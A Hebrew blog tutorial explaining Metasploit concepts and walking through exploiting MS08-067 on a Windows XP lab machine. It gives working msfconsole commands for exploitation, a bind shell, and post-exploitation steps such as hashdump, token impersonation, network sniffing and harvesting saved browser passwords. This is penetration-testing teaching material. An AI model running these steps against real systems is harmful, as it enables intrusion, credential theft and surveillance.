Home אבטחת מידעPenetration Testing - Offense הסבר הגדרה והפעלת Metasploit

הסבר הגדרה והפעלת Metasploit

by Tal Ben Shushan 27/01/2018 1 comment
הסבר הגדרה והפעלת Metasploit
נהנתם מהמאמר ? שתפו אותו!

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

הסבר הגדרה והפעלת Metasploit

Metasploit הוא כלי לביצוע Exploits ולא רק, לאחר ביצוע ה Exploit ה Metasploit מפעיל כלים שונים לבדיקה של מבדקי חדירה ופריצה אל מחשבים, IOT וכו’
הכלי נקנה על ידי חברת Rapid7 והוא מתוחזק על ידי החברה אך הוא מבוסס קוד פתוח, הקהילה מוספיה אל Metasploit אקספלויטים הצעות וכלים נוספים.
הכלי מגיע בנוי בתוך Kali ומשתמש לבדיקות חדירה, במאמר זה נראה כיצד להשתמש בו, מהם הכלים שיש בו לאחר ה Exploit מה שנקרא Post-Exploit.

*על מנת לתרגל ולהשתמש במאמר כמדריך, חייב את המכונות הבאות:

  • Windows XP
  • Kali 2017.1/2/3

תחילה נפתח ב Kali את Metasploit, פתחו את הטרמינל והקישו את הפקודה

בפקודה זו נפעיל את שירות ה SQL

sudo service postgresql start

כעת הקישו

sudo msfdb init

נבצע עדכון ל Metasploit

sudo apt update; apt install metasploit-framework

 

כעת נפעיל את Metasploit

sudo msfconsole

לאחר שהפעלתם את Metasploit נבדוק ונחקור את התיקיות שלו

נפתח את הנתיב

/usr/share/metasploit-framework/modules

נראה שם 4 תיקיות

Exploit – הוא קטע תוכנה המנצל פרצת אבטחה, המטרה היא לשנות את ההתנהגות של התוכנה או הרכיב ובכך ליצור מצב בו לא כך התוכנה אמורה לרוץ.
הסבר פשוט: הטלפון שלכם מוגן בסיסמא, דמיינו מצב בו “הזרקה” של קוד תשנה את ההתנהגות ולחיצה על כל מקש בטלפון תפתח את הטלפון ללא הסיסמא שלכם.
exploit לרוב יהיה שורות של קוד, המנצלות בעיה או פרצת אבטחה במערכת, מהרגע שבו ה Exploit הופעל והצליח לגשת אל המערכת, אנו נשתמש ב Payload על מנת לקבל את השליטה הרצויה

Payload – אני מתייחס למינוח של עולם אבטחת המידע, ה Payload למעשה בא לאחר שה exploit רץ והצליח לגשת אל המערכת על ידי ניצול הפרצה שהייתה קיימת בו, לאחר שה exploit רץ ה payload ונותן את הגישה הרצויה, לדוגמה גישת CMD או גישת Meterpreter

קיימים 3 סוגי Payload –

Singles – מכילים את כל הקוד להרצת ה Payload, וPayload אחד כזה יכול ליצור את ההתקשרות כולה למטרה ואינו זקוק לכך שהמשתמש יפעיל אותו או יבצע פעולה שמשלימה אותו.

Stagers – מכיל חלק מהPayload, ולרוב יהיה זה שיוצר את ההתקשרות אל המטרה אותה תוקפים, לרוב יהיה קטן יותר מSingles

Stages – דורש מהמחשב המותקף ליצור את החיבור, כדוגמת Handler בה המשתמש מפעיל Payload.exe וה Payload.exe שולח את ההתחברות אל ה Hander, במקרה זה ה Handler פותח Stages ומתחבר, לכן Stages לא מכיל את ה Payload באופן מלא.

בבחירת ה Payload נתקל בצורות הבאות:

Single Payload

לא תראו חלוקה בבחירת ה Payload ובתקייה בה הוא נמצא, שכן הוא “מלא” יותר

windows\shell_bind_tcp

Stagers & Stages

תראו חלוקה בין ה shell לבין ה bind_tcp

windows\shell\bind_tcp

bind_tcp – הוא ה Stager

shell הוא ה Stages

על מנת לבצע סריקה של Payload נוכל לחפש

show payloads

על מנת לקבל מידע על Payload נקיש

info payload/windows/meterpreter/revrese_tcp

על מנת לבחור payload נקיש

set payload/windows/meterpreter/revrese_tcp

על מנת לראות מה חייב להקיש ולתת “מידע” ל payload נקיש (זה תקף גם ל Exploit)

show options

Forward Connection

הוא הצורה בה ה Payload יצור את החיבור, זאת אומרת שבמצב Forward Connection ה Payload עצמו, ה Kali שלכם , עם הכתובת IP שלו ינסה לפנות ישירות למטרה:
ה Exploit ירוץ על המטרה ואז ה Payload יופעל, ברגע זה הKali שלכם הוא זה שינסה ליצור קשר עם ה Payload

כך נראה Forward Payload

Single Payload

windows/meterpreter_bind_tcp

Stage

windows/meterpreter/bind_tcp

Reverse Conneciton

הצורה בה ה Payload יצור את החיבור, זאת אומרת שבמצב Reverse Connection ה Exploit ירוץ על המטרה ולאחר מכן יריץ את ה Payload, בנקודה זו ה Payload ינסה ליצור קשר עם ה Kali ולא להפך

Single Payload

windows/meterpreter_reverse_tcp

Stage

windows/meterpreter/reverse_tcp

Meterpreter

הוא כלי המכיל מודלים בהם ניתן להשתמש על מנת להקל על העבודה של התוקף, הוא מכיל סט נרחב של כלים שאסקר כעת

הוא מודולרי

הוא נטען כStage או Stager והוא יכול לטעון מודלים כשצריך (אסביר בהמשך מהם מודלים)

Reflective DLL Injection , הוא מזריק את המודלים (והPayload עצמו) אל תהליכים במחשב ואין שום קובץ בדיסק, כך נשאר נסתר יותר.

לMeterpreter קיימים 3 DLLs והם:

metsrv – השירות עצמו של Meterpreter
stdapi – מכיל את ה Standard API, שאיתו ניתן לגשת לקבצים, רשת ומאפייני מערכת במטרה (ווינדוס לינוקס וכו’)
priv – קיצור של Privileges שאחראי על ההרשאות של Meterpreter

Extension

לMeterpreter קיימים Extensions , אלו הם הרחבות הנותנות אפשרויות רבות ומאפשרות לתוקף להשיג יותר נתונים, הרשאות וגישה אל המטרה.

על מנת לטעון Extension נקיש

load extension_name

על מנת לקבל מידע נקיש

help extension

רשימת ההרחבות:

extapi – אחראי על ניהול של שירותי Windows, לוח העתק והדבק של המשתמש, שירותי ה AD ו WMI

sniffer – האזנה לרשת (בדיוק כמו שמו)

espia – אחראי על המצלמה והמיקרופון של המטרה

mimikatz – המפורסם, אוסף הרשאות , יותר נכון מבצע HashDump, שירותי Kerberos והרשאות כרטיס ( TGT,TGS, Pass The Hash וכו’)

lanattacks – התקפות מסוג DHCP Starvatrion או DHCP Rogue

incognito – יכול לבצע Hashdump ולרוב ישתמשו בו על מנת לבצע Impersonation Tokens

networkpug – משנה חבילות או משנה את הנתיב של החיבות (סוג של ביצוע  MITM)

לא כל הרחבה תטען, על מנת לטעון את רובן יש צורך בהרשאות מתאימות, לרוב הרשאת SYSTEM תתן לנו לטעון את כל ההרחבות

Stdapi Extention

נוכל להשתמש בפקודות הכלולות ב stdapi

כמו:

getuid  – אם איזה משתמש אנחנו מחוברים ואילו הרשאות יש לנו

sysinfo – מידע על מערכת ההפעלה

ps – לראות את רשימת כל השירותים שעובדים ברקע

cd, pwd,ls – ממש כמו בלינוקס, איפה אתם נמצאים מבחינת מערכת הקבצים, להיכנס לתיקייה

Prive Extention

hashdump – לקבל את רשימת ה Hash של המשתמשים

getpriv – לבדוק אילו הרשאות יש לנו

getsystem – מידע על המערכת

Incognito Extention

load incognito – לטעון את ההרחבה

add_user – להוסיף משתמש קיים

imporsante_token – להתחזות לאחד המשתמשים המחוברים כעת למערכת

Sniffer Extention

על מנת להפעיל את Sniffer ולהאזין לרשת נקיש

sniffer_interfaces

נאמר וכרטיס הרשת הוא 1 אז:

sniffer_start 1

על מנת לעצור אותו

sniffer_stop 1

על מנת לפתוח את קובץ ה pcap

sniffer_dump 1 target.pcap

סוגי מודלים ב Metasploit

Post-Exploitation

Post – סט של כלים שמריצים לאחר שהשגנו גישה (לא חייבת להיות מלאה) לאחר שה exploit רץ וה payload השיג לנו גישה, למשל ניתן להוסיף משתמשים למנהל המשתמשים של המחשב, ניתן לקבל את ה Hashdump ובכך לנסות להשיג את סיסמת מנהל המחשב, Migrate יעביר את ה Session שפתחנו לשירות אחר וכו’

run post/windows/gather/enum_shares – לקבל רשימה של כל תיקיות השיתוף

run post/windows/manage/enable_rdp – לאפשר RDP

run post/windows/gather/enum_ie – לקבל את כל הסיסמאות והמידע השמור בIE

Auxiliary

Auxiliary כל מה שלא Exploit ב Metasploit הוא למעשה Auxiliary Module כמו למשל “סריקת כתובות” “סריקת מיילים” אתם בעצם מפעילים את ה auxiliary, בוחרים את הפעולה הרצויה הקיימת (או יוצרים אחד משלכם) ואז מריצים את הסריקה, ב Auxiliary של Metasploit הרוב המוחלט הוא סריקות:

DCERPC
Discovery
FTP
HTTP
IMAP
MSSQL
MySQL
NetBIOS
POP3
SMB
SMTP
SNMP
SSH
Telnet
TFTP
VMWare
VNC

Local Exploit

הם Exploits שאמורים לתת אפשרות להפעיל Exploits על גבי תחנה שיש לנו כבר גישה אליה ובכך לעלות את ההרשאות (אם אנחנו מחוברים כמשתמש רגיל \ Local וכו’) לבטל את UAC וכו’

במצב כזה נכניס את Meterpreter לרקע

background

ונוכל להשתמש

use exploit/windows/local/NameOfTheExploit

Metasploit Kali

כעת נעבור להסברים על המערכת עצמה וכיצד אפשר להפעיל Exploit ואת המודלים שאיתו

נכנס לדוגמה לנתיב

/usr/share/metasploit-framework/modules/exploit/windows/iis

נפתח את הקובץ ונוכל לקרוא מה עושה ה exploit, מה מטרתו ומה דרישותיו, כמובן שאין צורך לבצע את זה מכאן ( ה metasploit יכול להציג לכם את זה בצורה נוחה יותר) אך בנוסף להסבר תוכלו לראות מה עושה ה exploit

כעת נחזור ל Metasploit נוכל על ידי הפקודה, לבצע חיפוש ל Exploit מסוים שאנחנו מחפשים

msf > search ms08-067

למטה נוכל לראות את הנתיב המלא בו ה Exploit נמצא

exploit/windows/smb/ms08_67_netapi

 

כעת נוכל לרשום

msf > info exploit/windows/smb/ms08_67_netapi

ולקבל יותר פרטים

נוכל לראות את השם המלא, לאיזה לפלפורמה הוא מתאים, האם הוא דורש הרשאות מנהל ואיזה מערכות הפעלה הוא יכול לרוץ (בתנאי שהמחשב פגיע)

כעת נקיש את הפקודה

use – פקודה זו תגדיר שאנחנו רוצים להשתמש ב Exploit הזה

msf > use exploit/windows/smb/ms08_67_netapi

כעת נקיש show options

msf exploit (ms08_67_netapi) > show options

נוכל לראות שיש לנו 3 הגדרות שנוכל לשנות

RHOST – קיצור של Remote Host מהו המחשב שאותו אנו ננסה לתקוף?

RPORT – איזה פורט נשתמש על מנת ליצור את החיבור

SMBPIPE – באיזה פרוטוקול להשתמש

נגדיר את כתובת ה IP של ה Windows XP

msf exploit (ms08_67_netapi) > set rhost 192.168.1.125

נקיש שוב

msf exploit (ms08_67_netapi) > show options

נוכל לראות שהכתובת IP הוגדרה נכון

כעת הגדרנו את ה Exploit, אבל אנחנו צריכים גם Payload על מנת להגדיר כיצד נקבל את הגישה למחשב

msf exploit (ms08_67_netapi) > show payloads

ניתן לראות הרבה Payloads אבל אנחנו נשתמש בנפוץ ביותר

נגדיר Payload שיתן לנו גישה מסוג CMD Shell

msf exploit (ms08_67_netapi) > set payload windows/shell/bind_tcp

כעת נקיש שוב

msf exploit (ms08_67_netapi) > show options

ניתן לראות שהכל מוגדר כולל ה payload

כעת נרשום exploit או run

msf exploit (ms08_67_netapi) > exploit

נוכל לראות שיש לנו גישה למערכת

נוכל להקיש Ctrl + Z ואז לשמור את ה Session ברקע ולבצע עוד פעולות שאנו רוצים.

לאחר מכן נוכל להקיש, פקודה זו תציג לנו איזה sessions פתוחים ברגע

msf exploit (ms08_67_netapi) > sessions -l

על מנת לחזור לשיחה הפתוחה ברגע יש להקיש את הפקודה ובסוף 1 זאת על מנת לחזור לשיחה מספר 1 כמו שרשום

msf exploit (ms08_67_netapi) > sessions -i 1

 

מאמרים קשורים

1 comment

Maya Wineman 11/02/2020 - 19:55

הסבר מעולה, תודה!

Reply

Leave a Comment